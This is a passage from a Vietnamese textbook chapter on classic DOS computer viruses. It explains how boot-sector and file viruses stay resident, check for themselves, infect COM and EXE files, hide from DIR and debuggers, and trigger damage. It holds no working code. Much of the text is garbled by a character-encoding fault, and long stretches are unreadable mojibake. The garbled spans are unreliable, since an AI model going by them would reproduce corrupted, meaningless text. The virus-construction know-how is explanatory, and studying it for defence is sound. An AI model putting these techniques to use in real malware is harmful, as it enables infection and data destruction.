ÿӃn lӟQ FKR QrQ YQJ Qj\ WKѭӡng ít ÿѭӧc sӱ dөng. - Ghi vào vùng trӕQJ WUrQ ÿƭD ÿiQK Gҩu trong bҧng FAT vùng này là vùng bӏ hӓQJ ÿӇ DOS không sӱ dөng cҩp phát nӳa. Ccáh làm này an WRjQ KѫQ FiF FiFK OjP WUrQ ÿk\ - Format thêm track và ghi vào track vӯD ÿѭӧc Format thêm. Tùy thuӝF YjR ÿӝ lӟn cӫD ÿRҥn mã virus mà B-YLUXV ÿѭӧc chia thành hai loҥi: 2.3.1.1 SB-virus &KѭѫQJ WUuQK Fӫa SB-virus chӍ chiӃP ÿ~QJ Pӝt sector khӣL ÿӝng, các tác vө cӫa SB-virus không nhiӅX Yj WѭѫQJ ÿӕL ÿѫQ JLҧn. HiӋn nay sӕ các virus loҥi Qj\ WKѭӡng ít gһp và có lӁ chӍ là các virus do troQJ Qѭӟc "sҧn xuҩt". 70 2.3.1.2 DB-virus Ðây là nhӳng loҥL YLUXV Pj ÿRҥn mã cӫa nó lӟQ KѫQ E\WH WKѭӡng thҩy). Vì thӃ Pj FKѭѫQJ WUuQK YLUXV ÿѭӧc chia thành hai phҫn: - PhҫQ ÿҫX YLUXV çѭӧF FjL ÿһt trong sector khӣL ÿӝQJ ÿӇ chiӃm quyӅn ÿLӅu hiӇn khi quyӅQ ÿLӅu khiӇQ ÿѭӧc trao cho sector khӣL ÿӝng này. NhiӋm vө duy nhҩt cӫa phҫQ ÿҫu là: tҧi tiӃp phҫn thân cӫa virus vào vùng nhӟ và trao quyӅQ ÿLӅu khiӇn cho phҫQ WKkQ ÿy 9u nhiӋm vө ÿѫQ giҧQ QKѭ Yұy nên phҫQ ÿҫu cӫD YLUXV WKѭӡng rҩt ngҳn, và càng ngҳn càng tӕt vì càng ngҳn thì sӵ khác biӋt giӳa sector khӣL ÿӝng chuҭn và sector khӣL ÿӝQJ ÿm Eӏ nhiӉm virus càng ít, giҧm khҧ QăQJ Eӏ nghi ngӡ. - Phҫn thân virus: Là phҫQ FKѭѫQJ WUình chính cӫD YLUXV 6DX NKL ÿѭӧc phҫQ ÿҫu tҧi vào vùng nhӟ và trao quyӅn, phҫn thân này sӁ tiӃn hành các tác vө cӫa mình, sau khi tiӃn hành xong mӟL ÿӑc sector khӣL ÿӝng chuҭn vào vùng nhӟ và trao quyӅQ FKR Qy ÿӇ máy tính làm viӋc mӝt FiFK EuQK WKѭӡQJ QKѭ FKѭD Fy Ju [ҧy ra cҧ. 2.3.2 Mӝt sӕ kӻ thuұW Fѫ Eҧn cӫa B-virus Dù là SB-virus hay DB-YLUXV QKѭQJ ÿӇ tӗn tҥL Yj Ok\ ODQ FK~QJ ÿӅu có mӝt sӕ các kӻ thuұW Fѫ EҧQ QKѭ VDX 2.3.2.1 KͿ thu̵t ki͋m tra tính duy nh̭t Virus phҧi tӗn tҥi trong bӝ nhӟ FǊQJ QKѭ WUrQ ÿƭD VRQJ Vӵ tӗn tҥi quá nhiӅu bҧn sao cӫD FKtQK Qy WUrQ ÿƭD Yj WURQJ Eӝ nhӟ sӁ chӍ làm chұm quá trình Boot Pi\ FǊQJ QKѭ FKLӃm quá nhiӅu vùng nhӟ ҧQK Kѭӣng tӟi viӋc tҧi và thi hành FiF FKѭѫQJ WUuQK NKiF ÿӗng thӡL FǊQJ OjP JLҧm tӕF ÿӝ truy xuҩW ÿƭD &Ktnh vì thӃ, kӻ thuұt này là mӝt yêu cҫu nghiêm ngһt vӟi B-virus.ViӋc kiӇm tra trên ÿƭD Fy KDL \Ӄu tӕ ҧQK Kѭӣng: - Thӭ nhҩt là thӡi gian kiӇm tra: NӃu mӑi tác vө ÿӑF JKL ÿƭD ÿӅu phҧi kiӇP WUD ÿƭD WKu WKӡi gian truy xuҩt sӁ bӏ WăQJ JҩS ÿ{L OjP JLҧm tӕF ÿӝ truy xuҩW FǊQJ QKѭ JLD WăQJ Pӛi nghi ngӡ. Ðӕi vӟi yêu cҫu này, các virus áp dөng mӝt sӕ kӻ thuұt sau: Giҧm sӕ lҫn kiӇm tra bҵng cách chӍ kiӇP WUD WURQJ WUѭӡng hӧS WKD\ ÿәi truy xuҩt tӯ ә ÿƭD Qj\ VDQJ ә ÿƭD khác, chӍ kiӇP WUD WURQJ WUѭӡng hӧp bҧQJ )$7 WUrQ ÿƭD ÿѭӧF ÿӑc vào. - Thӭ hai là kӻ thuұt kiӇm tra: Hҫu hӃW FiF YLUXV ÿӅu kiӇm tra bҵng giá trӏ tӯ khoá. Mӛi virus sӁ tҥo cho mình mӝt giá trӏ ÿһc biӋt tҥi mӝt vӏ trí xác ÿӏQK WUrQ ÿƭD YLӋc kiӇP WUD ÿѭӧc tiӃn hành bҵng FiFK ÿӑc Boot record và kiӇm tra giá trӏ cӫa tӯ khoá này. Kӻ thuұt này gһp trӣ ngҥi vì sӕ Oѭӧng B-virus ngày mӝW ÿ{QJ ÿҧo, mà vӏ trí trên Boot Record thì có 71 hҥn. Cách khҳc phөc hiӋn nay cӫD FiF YLUXV Oj WăQJ Vӕ Oѭӧng mã lӋnh cҫQ VR ViQK ÿӇ làm giҧm khҧ QăQJ WUQJ Kӧp ngүu nhiên. ÐӇ kiӇm tra sӵ tӗn tҥi cӫa mình trong bӝ nhӟ FiF YLUXV ÿm iS Gөng các kӻ thuұt sau: çѫQ JLҧn nhҩt là kiӇm tra giá trӏ Key value tҥi mӝt vӏ WUt [iF ÿӏnh trên vùng nhӟ cao, ngoài ra mӝt kӻ thuұW NKiF ÿѭӧc áp dөQJ ÿӕi vӟi các virus chiӃm ngҳt Int 21 cӫa DOS là yêu cҫu thӵc hiӋn mӝt chӭF QăQJ ÿһc biӋt không có trong ngҳt này. NӃu cӡ báo lӛL ÿѭӧc bұt lên thì trong bӝ nhӟ FKѭD Fy YLUXV QJѭӧc lҥi nӃX YLUXV ÿm OѭX WU~ WURQJ YQJ QKӟ thì giá trӏ trҧ lҥi (trong thanh ghi AX chҷng hҥn) là mӝt giá trӏ [iF ÿӏnh nào ÿy 2.3.2.2 KͿ thu̵t O˱X WU~ Sau khi thӵc hiӋQ [RQJ FKѭѫQJ WUuQK 3267 JLi WUӏ tәng sӕ vùng nhӟ vӯa ÿѭӧc Test sӁ ÿѭӧF OѭX YjR YQJ %,26 'DWD ӣ ÿӏa chӍ 0:413h. Khi hӋ ÿLӅu hành nhұn quyӅQ ÿLӅu khiӇn, nó sӁ coi vùng nhӟ mà nó kiӇm soát là giá trӏ WURQJ ÿӏa chӍ này. Vì vұ\ ÿӇ Oѭu trú, mӑi B-YLUXV ÿӅu áp dөng kӻ thuұt sau ÿk\ 6DX NKL Wҧi phҫQ OѭX WU~ Fӫa mình lên vùng nhӟ cao, nó sӁ giҧm giá trӏ vùng nhӟ do DOS quҧn lý tҥL K ÿL PӝW OѭӧQJ ÿ~QJ bҵng NtFK WKѭӟc cӫa virus. Tuy nhiên nӃu không kiӇm tra tӕt sӵ có mһt trong vùng nhӟ, khi bӏ Boot mӅm liên tөc, giá trӏ tәng sӕ vùng nhӟ này sӁ bӏ giҧm nhiӅu lҫn, ҧQK Kѭӣng tӟi viӋc thӵc hiӋn cӫD FiF FKѭѫQJ WUuQK VDX Qj\ &KtQK Yu WKӃ FiF YLUXV ÿѭӧc thiӃt kӃ tӕt phҧi kiӇm tra sӵ tӗn tҥi cӫa mình trong bӝ nhӟ, nӃX ÿm Fy Pһt trong bӝ nhӟ thì không giҧP GXQJ Oѭӧng vùng nhӟ nӳa. 2.3.2.2 KͿ thu̵t lây lan Ðoҥn mã thӵc hiӋn nhiӋm vө Ok\ ODQ Oj ÿRҥn mã quan trӑQJ WURQJ FKѭѫQJ trình virus. ÐӇ ÿҧm bҧo viӋc lây lan, virus khӕng chӃ ngҳt quan trӑng nhҩt trong viӋF ÿӑc/ghi vùng hӋ thӕQJ ÿy Oj QJҳt 1 K WX\ QKLrQ ÿӇ ÿҧm bҧo tӕF ÿӝ truy xuҩW ÿƭD FKӍ các chӭF QăQJ Yj ÿӑc/ghi) là dүn tӟi viӋc lây lan. ViӋc lây lan bҵng FiFK ÿӑc Boot Sector (Master Boot) lên và kiӇP WUD [HP ÿm Eӏ Ok\ FKѭD Nӻ thuұt kiӇP WUD ÿm QyL ӣ trên). NӃu sector khӣL ÿӝQJ ÿy FKѭD Eӏ nhiӉm thì virus sӁ tҥo mӝt sector khӣL ÿӝng mӟi vӟi các tham sӕ WѭѫQJ ӭng cӫD ÿRҥn mã virus rӗi ghi trӣ lҥi vào vӏ trí cӫD Qy WUrQ ÿƭD &zQ VHFWRU NKӣi ÿӝng vӯD ÿӑc lên cùng vӟi thân cӫa virus (loҥi DB-virus) sӁ ÿѭӧc ghi vào YQJ [iF ÿӏQK WUrQ ÿƭD 1goài ra mӝt sӕ virus còn chiӃm ngҳt 21 cӫD '26 ÿӇ lây nhiӉm và phá hoҥi trên các file mà ngҳt 21 làm viӋc. ViӋc xây dӵng sector khӣL ÿӝQJ Fy ÿRҥn mã cӫa virus phҧL ÿҧm bҧo các kӻ thuұW VDX ÿk\ - Sector khӣL ÿӝng bӏ nhiӉm phҧi còn chӭa các tham sӕ ÿƭD SKөc vө cho quá trình truy xuҩW ÿƭD ÿy Oj Eҧng tham sӕ BPB cӫa Boot record hay bҧQJ SKkQ FKѭѫQJ WURQJ WUѭӡng hӧp Master boot. ViӋc không bҧo toàn 72 sӁ dүQ ÿӃn viӋc virus mҩt quyӅQ ÿLӅu khiӇn hoһc không thӇ kiӇm soát ÿѭӧF ÿƭD QӃu virus không có mһW WURQJ P{L WUѭӡng. - Sӵ an toàn cӫa sector khӣL ÿӝng nguyên thӇ Yj ÿRҥn thân cӫa virus FǊQJ SKҧL ÿѭӧF ÿһW OrQ KjQJ ÿҫu. Các kӻ thuұt vӅ vӏ trí cҩt giҩu chúng WD FǊQJ ÿm SKkQ WtFK ӣ các phҫn trên. 2.3.2.3 KͿ thu̵t che ḓu Kӻ thuұW Qj\ UD ÿӡi khá muӝn vӅ sau này, do khuynh Kѭӟng chӕng lҥi sӵ phát hiӋn cӫD QJѭӡi sӱ dөng và nhӳng lұS WUuQK YLrQ ÿӕi vӟL YLUXV 9u NtFK WKѭӟc cӫa virus khá nhӓ bé cho nên các lұptrình viên hoàn toàn có thӇ dò tӯQJ Eѭӟc [HP Fѫ FKӃ cӫa virus hoҥW ÿӝQJ QKѭ WKӃ nào, cho nên các virus tìm mӑi cách lҳt OpR ÿӇ chӕng lҥi sӵ theo dõi cӫa các lұS WUuQK YLrQ &iF YLUXV WKѭӡng áp dөng mӝt sӕ kӻ thuұW VDX ÿk\ - Cӕ tình viӃt các lӋnh mӝt cách rҳc rӕL QKѭ ÿһt Stack vào các vùng nhӟ nguy hiӇm, chiӃm và xoá các ngҳW WKD\ ÿәi mӝt cách lҳt léo các thanh JKL SKkQ ÿRҥQ ÿӇ QJѭӡi dò không biӃt dӳ liӋu lҩy tӯ ÿkX WKD\ ÿәi các giá trӏ cӫa các lӋQK SKtD VDX ÿӇ QJѭӡi sӱ dөng khó theo dõi. - 0m KRi QJD\ FKtQK FKѭѫQJ WUuQK FӫD PuQK ÿӇ QJѭӡi sӱ dөng không phát hiӋn ra quy luұW FǊQJ QKѭ NK{QJ WKҩy mӝt cách rõ ràng ngay sӵ hoҥt ÿӝng cӫa virus. - Ngөy trang: Cách thӭ nhҩW Oj ÿRҥn mã cài vào sector khӣL ÿӝng càng ngҳn càng tӕt và càng giӕng sector khӣL ÿӝng càng tӕt. Tuy vұy cách thӭ hai vүQ ÿѭӧc nhiӅu virus áp dөQJ .KL Pi\ ÿDQJ Q{P WURQJ TX\Ӆn chi phӕi cӫa virus, mӑi yêu cҫX ÿӑc/JKL %RRW VHFWRU 0DVWHU ERRW ÿӅu ÿѭӧc virus trҧ vӅ mӝt bҧn chuҭn: bҧQ WUѭӟc khi bӏ virus lây. ÐiӅu này ÿiQK OӯD QJѭӡi sӱ dөQJ Yj FiF FKѭѫQJ WUuQK FKӕQJ YLUXV NK{QJ ÿѭӧc thiӃt kӃ tӕt nӃu máy hiӋQ ÿDQJ FKӏu sӵ chi phӕi cӫa virus. 2.3.2.4 KͿ thu̵t phá ho̩i Ðã là virus thì bao giӡ FǊQJ Fy WtQK SKi KRҥi. Có thӇ phá hoҥi ӣ mӭF ÿD FKR YXL FǊQJ Fy WKӇ là phá hoҥi ӣ mӭF ÿӝ nghiêm trӑng, gây mҩW PiW Yj ÿuQK WUӋ ÿӕi vӟL WK{QJ WLQ WUrQ ÿƭD &ăQ Fӭ vào thӡL ÿLӇm phá hoҥi, có thӇ chia ra thành hai loҥi: - LoҥL ÿӏnh thӡi: LoҥL Qj\ OѭX JLӳ mӝt giá trӏ, giá trӏ này có thӇ là ngày giӡ, sӕ lҫn lây nhiӉm, sӕ giӡ Pi\ ÿm FKҥy, ... NӃu giá trӏ Qj\ Yѭӧt quá mӝt con sӕ cho phép, nó sӁ tiӃn hành phá hoҥi. LoҥL Qj\ WKѭӡng nguy hiӇm vì chúng chӍ phá hoҥi mӝt lҫn. 73 - Loҥi liên tөc: Sau khi bӏ lây nhiӉm và liên tөc, virus tiӃn hành phá hoҥi, song do tính liên tөc này, các hoҥW ÿӝng phá hoҥi cӫa nó không mang tính nghiêm trӑng, chӫ yӃX Oj ÿD FKR YXL Hình 2-28 Phi hoҥi ljm file phân mҧnh 2.3.2.5 KͿ thu̵t djnh quy͉Q ÿL͉u khuy͋n cͯa B-virus Khi máy tính bҳW ÿҫu khӣL ÿӝQJ 3RZHU RQ FiF WKDQK JKL SKkQ ÿRҥQ ÿӅu ÿѭӧF ÿһt vӅ 0FFFFh,còn mӑL WKDQK JKL NKiF ÿӅX ÿѭӧF ÿһt vӅ 1Kѭ Yұy, quyӅQ ÿLӅu khiӇQ EDQ ÿҫX ÿѭӧF WUDR FKR ÿRҥn mã tҥL ))))K K ÿoҥn mã này thӵc ra chӍ là lӋnh nhҧ\ -03 )$5 ÿӃn mӝW ÿRҥQ FKѭѫQJ WUuQK WURQJ 520 ÿRҥQ FKѭѫQJ WUuQK Qj\ WKӵc hiӋn quá trình POST (Power On Self Test - Tӵ kiӇm tra khi khӣL ÿӝng). Quá trình POST sӁ lҫQ Oѭӧt kiӇm tra các thanh ghi, kiӇm tra bӝ nhӟ, khӣi tҥo ciF &KLS ÿLӅu khiӇn DMA, bӝ ÿLӅu khiӇn ngҳt, bӝ ÿLӅu khiӇQ ÿƭD 6DX ÿy Qy sӁ dò tìm các Card thiӃt bӏ gҳQ WKrP ÿӇ trao quyӅQ ÿLӅu khiӇn cho chúng tӵ khӣi tҥo rӗi lҩy lҥi quyӅQ ÿLӅu khiӇQ &K~ ê U{QJ ÿk\ Oj ÿRҥQ FKѭѫQJ WUuQK trong ROM (Read Only Memory) nên không thӇ sӱD ÿәL FǊQJ QKѭ NK{QJ WKӇ chèn thêm mӝW ÿRҥn mã nào khác. 6DX TXi WUuQK 3267 ÿRҥQ FKѭѫQJ WUuQK WURQJ 520 WLӃQ KjQK ÿӑc Boot Sector WUrQ ÿƭD $ KRһF 0DVWHU %RRW WUrQ ÿƭD Fӭng vào RAM (Random Acess Memory) tҥL ÿӏa chӍ 0:7C00h và trao quyӅQ ÿLӅu khiӇQ FKR ÿRҥQ Pm ÿy bҵng lӋnh JMP FAR 0:7C00h. Ðây là chӛ mà B-virus lӧi dөQJ ÿӇ tҩn công vào %RRW 6HFWRU 0DVWHU %RRW QJKƭD Oj Qy VӁ thay Boot Sector (Master Boot) chuҭn bҵng ÿRҥn mã virus, vì thӃ quyӅQ ÿLӅu khiӇQ ÿѭӧc trao cho virus, nó sӁ tiӃn hành các hoҥW ÿӝng cӫD PuQK WUѭӟc, rӗL VDX ÿy Pӟi tiӃn hành các thao tác QKѭ WK{QJ WKѭӡng: Ðӑc Boot Sector (Master Boot) chuҭn mà nó cҩt giҩu ӣ ÿkX ÿy YjR & K Uӗi trao quyӅQ ÿLӅu khiӇQ FKR ÿRҥn mã chuҭn này, và 74 QJѭӡi sӱ dөng có cҧm giác rông máy tính cӫa mình vүn hoҥW ÿӝng bình WKѭӡng. 2.3.3 Mӝt sӕ kӻ thuұW Fѫ Eҧn cӫa F-virus So vӟi B-virus thì sӕ Oѭӧng F-YLUXV ÿ{QJ ÿҧR KѫQ QKLӅu, có lӁ do các tác vө ÿƭD Yӟi sӵ hӛ trӧ cӫD ,QW ÿm trӣ nên cӵc kǤ dӉ dàng và thoҧL PiL ÿy Oj ÿLӅu kiӋn phát triӇn cho các F-YLUXV 7Kѭӡng thì các F-virus chӍ lây lan trên các file khҧ WKL Fy ÿX{L &20 KRһc .EXE), tuy nhiên mӝt nguyên tҳc mà virus phҧi tuân thӫ là: Khi thi hành mӝt file khҧ thi bӏ lây nhiӉm, quyӅQ ÿLӅu khiӇn phҧi Q{P WURQJ WD\ YLUXV WUѭӟc khi virus trҧ nó lҥi cho file bӏ nhiӉm, và khi file nhұn lҥi quyӅQ ÿLӅu khiӇn, tҩt cҧ mӑi dӳ liӋu cӫa file phҧL ÿѭӧc bҧo toàn. Ðӕi vӟi F-virus, có mӝt sӕ kӻ thuұW ÿѭӧc nêu ra ӣ ÿk\ KͿ thu̵t lây lan Các F-virus chӫ yӃu sӱ dөng hai kӻ thuұW WKrP YjR ÿҫu và thêm vào cuӕi 2.3.3.1 7KrP YjR ÿ̯u file 7K{QJ WKѭӡQJ SKѭѫQJ SKiS Qj\ FKӍ áp dөng cho các file .COM, tӭc là ÿҫu vào cӫD FKѭѫQJ WUuQK OX{Q OX{Q Wҥi PSP:100h. Lӧi dөQJ ÿҫu vào cӕ ÿӏnh, YLUXV FKqQ ÿRҥn mã cӫD FKѭѫQJ WUuQK YLUXV YjR ÿҫX FKѭѫQJ WUuQK ÿӕL Wѭӧng, ÿҭy toàn bӝ FKѭѫQJ WUuQK ÿӕL Wѭӧng xuӕQJ SKtD Gѭӟi. Cách này có mӝW QKѭӧc ÿLӇP Oj GR ÿҫu vào cӕ ÿӏnh cӫD FKѭѫQJ WUuQK &20 Oj 363 FKR QrQ WUѭӟc khi trҧ lҥi quyӅQ ÿLӅu khiӇQ FKR FKѭѫQJ WUuQK SKҧi ÿҭy lҥi toàn bӝ FKѭѫQJ trình lên bҳW ÿҫu tӯ RIIVHW K &iFK Ok\ Qj\ Jk\ NKy NKăQ FKR QKӳQJ QJѭӡi khôi phөc vì phҧL ÿӑc toàn bӝ file vào vùng nhӟ rӗi mӟi tiӃn hành ghi lҥi. 2.3.3.2 Thêm vào cu͙i file Khác vӟi cách lây lan ӣ WUrQ WURQJ SKѭѫQJ SKiS Qj\ ÿRҥn mã cӫa virus sӁ ÿѭӧc gҳn vào sau cӫD FKѭѫQJ WUuQK ÿӕL WѭӧQJ 3KѭѫQJ SKiS Qj\ ÿѭӧc thҩy trên hҫu hӃt các loҥi virus vì phҥm vi lây lan cӫa nó rӝQJ UmL KѫQ SKѭѫQJ SKiS trên. Do thân cӫD YLUXV NK{QJ Q{P ÿ~QJ ÿҫu vào cӫD FKѭѫQJ WUuQK FKR QrQ ÿӇ chiӃm quyӅQ ÿLӅu khiӇn, phҧi thӵc hiӋn kӻ thuұW VDX ÿk\ Ðӕi vӟL ILOH &20 7KD\ FiF E\WH ÿҫu tiên cӫD FKѭѫQJ WUuQK ÿҫu vào) bҵng mӝt lӋnh nhҧy JMP, chuyӇQ ÿLӅu khiӇQ ÿӃQ ÿRҥn mã cӫa virus. E9 xx xx JMP Entry virus. Ðӕi vӟi file .EXE: ChӍ cҫQ ÿӏnh vӏ lҥi hӋ thӕng các thanh ghi SS, SP, CS, IP WURQJ ([H +HDGHU ÿӇ trao quyӅQ ÿLӅu khiӇn cho phҫn mã virus. 75 Hình 2-29 Lây vӟi file .EXE Ngoài hai kӻ thuұt lây lan chӫ yӃu trên, có mӝt sӕ ít các virus sӱ dөng mӝt sӕ các kӻ thuұW ÿһc biӋW NKiF QKѭ Pm KRi SKҫn mã cӫa cKѭѫQJ WUuQK YLUXV WUѭӟc NKL JKpS FK~QJ YjR ILOH ÿӇ ngөy trang, hoһc thұm chí thay thӃ mӝt sӕ ÿRҥn mã ngҳQ WURQJ ILOH ÿӕL Wѭӧng bҵng FiF ÿRҥn mã cӫD YLUXV Jk\ NKy NKăQ FKR TXi trình khôi phөc. Khi tiӃQ KjQK Ok\ ODQ WUrQ ILOH ÿӕi vӟL FiF ILOH ÿѭӧF ÿһt các thuӝc tính Sys (hӋ thӕng), Read Only (chӍ ÿӑc), Hidden (ҭn), phҧi tiӃn hành ÿәi lҥi các thuӝF WtQK ÿy ÿӇ có thӇ truy nhұp, ngoài ra viӋc truy nhұS FǊQJ WKD\ ÿәi lҥi ngày giӡ cұp nhұt cӫa file, vì thӃ hҫu hӃW FiF YLUXV ÿӅX OѭX Oҥi thuӝc tính, ngày giӡ cұp nhұt cӫD ILOH ÿӇ sau khi lây nhiӉm sӁ trҧ lҥi y nguyên thuӝc tính và ngày giӡ cұp nhұW EDQ ÿҫu cӫa nó.Ngoài ra, viӋc cӕ gҳng ghi lên ÿƭD PӅm có dán nhãn bҧo vӋ FǊQJ Wҥo ra dòng thông báo lӛi cӫa DOS: Retry - Aboart - Ignoreô, nӃu không xӱ lý tӕt thì dӉ bӏ nJѭӡi sӱ dөng phát hiӋn ra sӵ có mһt cӫa virus. Lӛi kiӇX Qj\ ÿѭӧc DOS kiӇm soát bҵng ngҳt 24h, cho nên các virus muӕn tránh các thông báo kiӇu này cӫa DOS khi tiӃn hành lây lan phҧi thay ngҳt 24h cӫD '26 WUѭӟc khi tiӃn hành lây lan rӗL VDX ÿy KRjQ WUҧ. 2.3.3.3 KͿ thu̵W ÿ̫m b̫o tính t͛n t̩i duy nh̭t &ǊQJ JLӕQJ QKѭ %-virus, mӝt yêu cҫu nghiêm ngһW ÿһW UD ÿӕi vӟi F-virus là tính tӗn tҥi duy nhҩt cӫa mình trong bӝ nhӟ FǊQJ QKѭ WUrQ ILOH 7URQJ YQJ nhӟ WK{QJ WKѭӡng các F-virus sӱ dөng hai kӻ thuұt chính: Thӭ nhҩt là tҥo thêm chӭF QăQJ FKR '26 bҵng cách sӱ dөng mӝt chӭc QăQJ FRQ QjR ÿy WURQJ ÿy ÿһt chӭF QăQJ OӟQ KѫQ FKӭF QăQJ FDR QKҩt mà DOS có. ÐӇ kiӇm tra chӍ cҫn gӑi chӭF QăQJ Qj\ JLi WUӏ trҧ lҥi trong thanh ghi quyӃW ÿӏnh sӵ tӗn tҥi cӫa virus trong bӝ nhӟ hD\ FKѭD Cách thӭ hai là so sánh mӝWÿRҥn mã trong vùng nhӟ ҩQ ÿӏnh vӟL ÿRҥn mã cӫa virus, nӃu có sӵ chênh lӋFK WKu Fy QJKƭD Oj YLUXV FKѭD Fy Pһt trong vùng nhӟ và sӁ tiӃn hành lây lan. Trên file, có thӇ có các cách kiӇm tra QKѭ NLӇm tra bҵng test logic nàR ÿy Yӟi các thông tin cӫa Entry trong 76 WKѭ Pөc cӫD ILOH Qj\ &iFK Qj\ NK{QJ ÿҧm bҧo tính chính xác tuyӋW ÿӕi song nӃu thiӃt kӃ tӕt thì khҧ QăQJ WUQJ OһS FǊQJ Kҥn chӃ, hҫX QKѭ NK{QJ có, ngoài ra mӝW ѭX ÿLӇm là tӕc thӵc hiӋn kiӇm tra rҩt nhanh. Ngoài ra có thӇ kiӇm tra bҵng cách dò mӝW ÿRҥQ Pm ÿһF WUѭQJ NH\ YDOXH Fӫa virus tҥi vӏ trí ҩQ ÿӏQK QjR ÿy WUrQ ILOH Yt Gө trên các byte cuӕi cùng cӫa file. 2.3.3.4 KͿ thu̵t O˱X WU~ Ðây là mӝt kӻ thuұW NKy NKăQ Oê GR Oj '26 FKӍ cung cҩp chӭF QăQJ WKѭӡQJ WU~ FKR FKѭѫQJ WUuQK QJKƭD Oj FKӍ cho phép cҧ FKѭѫQJ WUuQK WKѭӡng trú. Vì vұy nӃu sӱ dөng chӭF QăQJ FӫD '26 FKѭѫQJ WUuQK YLUXV muӕQ WKѭӡng trú thì cҧ ILOH ÿӕL WѭӧQJ FǊQJ SKҧL WKѭӡng WU~ Pj ÿLӅu này thì không thӇ ÿѭӧc nӃX NtFK WKѭӟc cӫD ILOH ÿӕL Wѭӧng quá lӟn. Chính vì lý do trên, hҫu hӃW FiF FKѭѫQJ WUuQK YLUXV PXӕQ WKѭӡQJ WU~ ÿӅu phҧi thao tác qua mһt DOS trên chuӛi MCB bҵng SKѭѫQJ SKiS WKӫ F{QJ &ăQ Fӭ vào viӋF WKѭӡQJ WU~ ÿѭӧc thӵc hiӋQ WUѭӟF KD\ VDX NKL FKѭѫQJ WUuQK ÿӕi Wѭӧng thi hành, có thӇ chia kӻ thuұW WKѭӡng trú thành hai nhóm: 2.3.3.5 7K˱ͥQJ WU~ WU˱ͣc khi tr̫ quy͉Q ÿL͉u khi͋n 1Kѭ ÿm QyL ӣ trên, DOS không cung cҩp mӝt chӭF QăQJ QjR FKR NLӇu WKѭӡQJ WU~ Qj\ FKR QrQ FKѭѫQJ WUuQK YLUXV SKҧi tӵ thu xӃp. Các cách sau ÿk\ ÿm ÿѭӧF YLUXV GQJ ÿӃn: - 7KDR WiF WUrQ 0&% ÿӇ tách mӝt khӕi vùng nhӟ ra khӓi quyӅQ ÿLӅu khiӇn cӫa DOS, rӗi dùng vùQJ Qj\ ÿӇ chӭD FKѭѫQJ WUuQK YLUXV - Tӵ ÿӏnh vӏ vӏ trí trong bӝ nhӟ ÿӇ tҧi phҫQ WKѭӡng trú cӫa virus vào, WKѭӡng thì các virus chӑn ӣ vùng nhӟ FDR SKtD Gѭӟi phҫn tҥm trú cӫa ILOH FRPPDQG FRP ÿӇ tránh bӏ JKL ÿq NKL KӋ thӕng tҧi lҥi command.com. Vì không cҩp phát bӑ nhӟ cho phҫQ FKѭѫQJ WUuQK YLUXV ÿDQJ WKѭӡng trú, cho nên command.com hoàn toàn có quyӅn cҩp phát vùng nhӟ ÿy FKR FiF FKѭѫQJ WUuQK NKiF QJKƭD Oj FKѭѫQJ WUuQK WKѭѫQJ trú cӫa virus phҧi chҩp nhұn sӵ mҩt mát do may rӫi. - 7Kѭӡng trú bҵng chӭF QăQJ WKѭӡng trú 31h: Ðây là mӝt kӻ thuұt phӭc tҥp, tiӃn trình cҫn thӵc hiӋQ ÿѭӧc mô tҧ QKѭ VDX .KL FKѭѫQJ WUuQK YLUXV ÿѭӧc trao quyӅn, nó sӁ tҥo ra mӝW 0&% ÿѭӧc khai báo là phҫn tӱ trung gian trong chuӛL 0&% ÿӇ chӭD FKѭѫQJ WUuQK YLUXV VDX ÿy Oҥi tҥo tiӃp mӝt MCB mӟL ÿӇ FKR FKѭѫQJ WUuQK Eӏ nhiӉm bҵng cách dӡL FKѭѫQJ trình xuӕng vùng mӟi này. ÐӇ WKD\ ÿәL 363 Pj '26 ÿDQJ OѭX JLӳ WKjQK 363 Pj FKѭѫQJ WUuQK YLUXV WҥR UD FKR FKѭѫQJ WUuQK ÿӕL Wѭӧng, phҧi sӱ dөng chӭF QăQJ K Fӫa ngҳt 21h. 77 2.3.3.6 7K˱ͥQJ WU~ VDX NKL ÿR̩t l̩i quy͉Q ÿL͉u khi͋n &KѭѫQJ WUuQK YLUXV Oҩ\ WrQ FKѭѫQJ WUuQK ÿDQJ WKL KjQK WURQJ P{L WUѭӡng cӫa DOS, rӗi nó thi hành ngay chính bҧn thân mình. Sau khi thi hành xong, quyӅQ ÿLӅu khiӇn lҥL ÿѭӧc trҧ vӅ FKR YLUXV Yj NKL ÿy Qy Pӟi tiӃn KjQK WKѭӡng trú mӝt cáFK EuQK WKѭӡng bҵng chӭF QăQJ K Fӫa ngҳt 21h. 2.3.3.7 KͿ thu̵t che ḓu và gây nhi͍u MӝW QKѭӧF ÿLӇm không tránh khӓL Oj ILOH ÿӕL Wѭӧng bӏ lây nhiӉm virus sӁ bӏ WăQJ NtFK WKѭӟc. Mӝt sӕ virus ngөy trang bҵng cách khi sӱ dөng chӭc QăQJ ',5 Fӫa DOS, virus chi phӕi chӭF QăQJ WuP NLӃm file (chӭF QăQJ 11h và 12h cӫa ngҳW K ÿӇ giҧP NtFK WKѭӟc cӫa file bӏ lây nhiӉm xuӕng, vì thӃ NKL YLUXV ÿDQJ FKL SKӕi máy tính, nӃu sӱ dөng lӋnh DIR cӫa DOS, hoһc các lӋnh sӱ dөng chӭF QăQJ WuP NLӃm file ӣ WUrQ ÿӇ có thông tin vӅ entry trong bҧQJ WKѭ Pөc, thì thҩ\ NtFK WKѭӟc file bӏ lây nhiӉm vүn bҵng NtFK WKѭӟc cӫD ILOH EDQ ÿҫX ÿLӅX Qj\ ÿiQK OӯD QJѭӡi sӱ dөng vӅ sӵ trong sҥch cӫa file này. Mӝt sӕ virus còn gây nhiӉu bҵng cách mã hoá phҫn lӟQ FKѭѫQJ WUuQK virus, chӍ khi nào vào vùng nhӟ FKѭѫQJ WUuQK PӟL ÿѭӧc giҧL Pm QJѭӧc lҥi. Mӝt sӕ virus anti-debug bҵng cách chiӃm ngҳt 1 và ngҳt 3. Bӣi vì các FKѭѫQJ WUuQK GHEXJ WKӵc chҩt phҧi dùng ngҳt 1 và ngҳW ÿӇ thi hành tӯQJ Eѭӟc mӝt, cho nên khi virus chiӃm các ngҳt này rӗL Pj QJѭӡi lұp WUuQK GQJ GHEXJ ÿӇ theo dõi virus thì kӃt quҧ NK{QJ OѭӡQJ WUѭӟF ÿѭӧc. 2.3.3.8 KͿ thu̵t phá ho̩i 7K{QJ WKѭӡng, các F-YLUXV FǊQJ Vӱ dөng cách thӭc và kӻ thuұt phá hoҥi giӕQJ QKѭ %-virus. Có thӇ phá hoҥi mӝW FiFK ÿӏnh 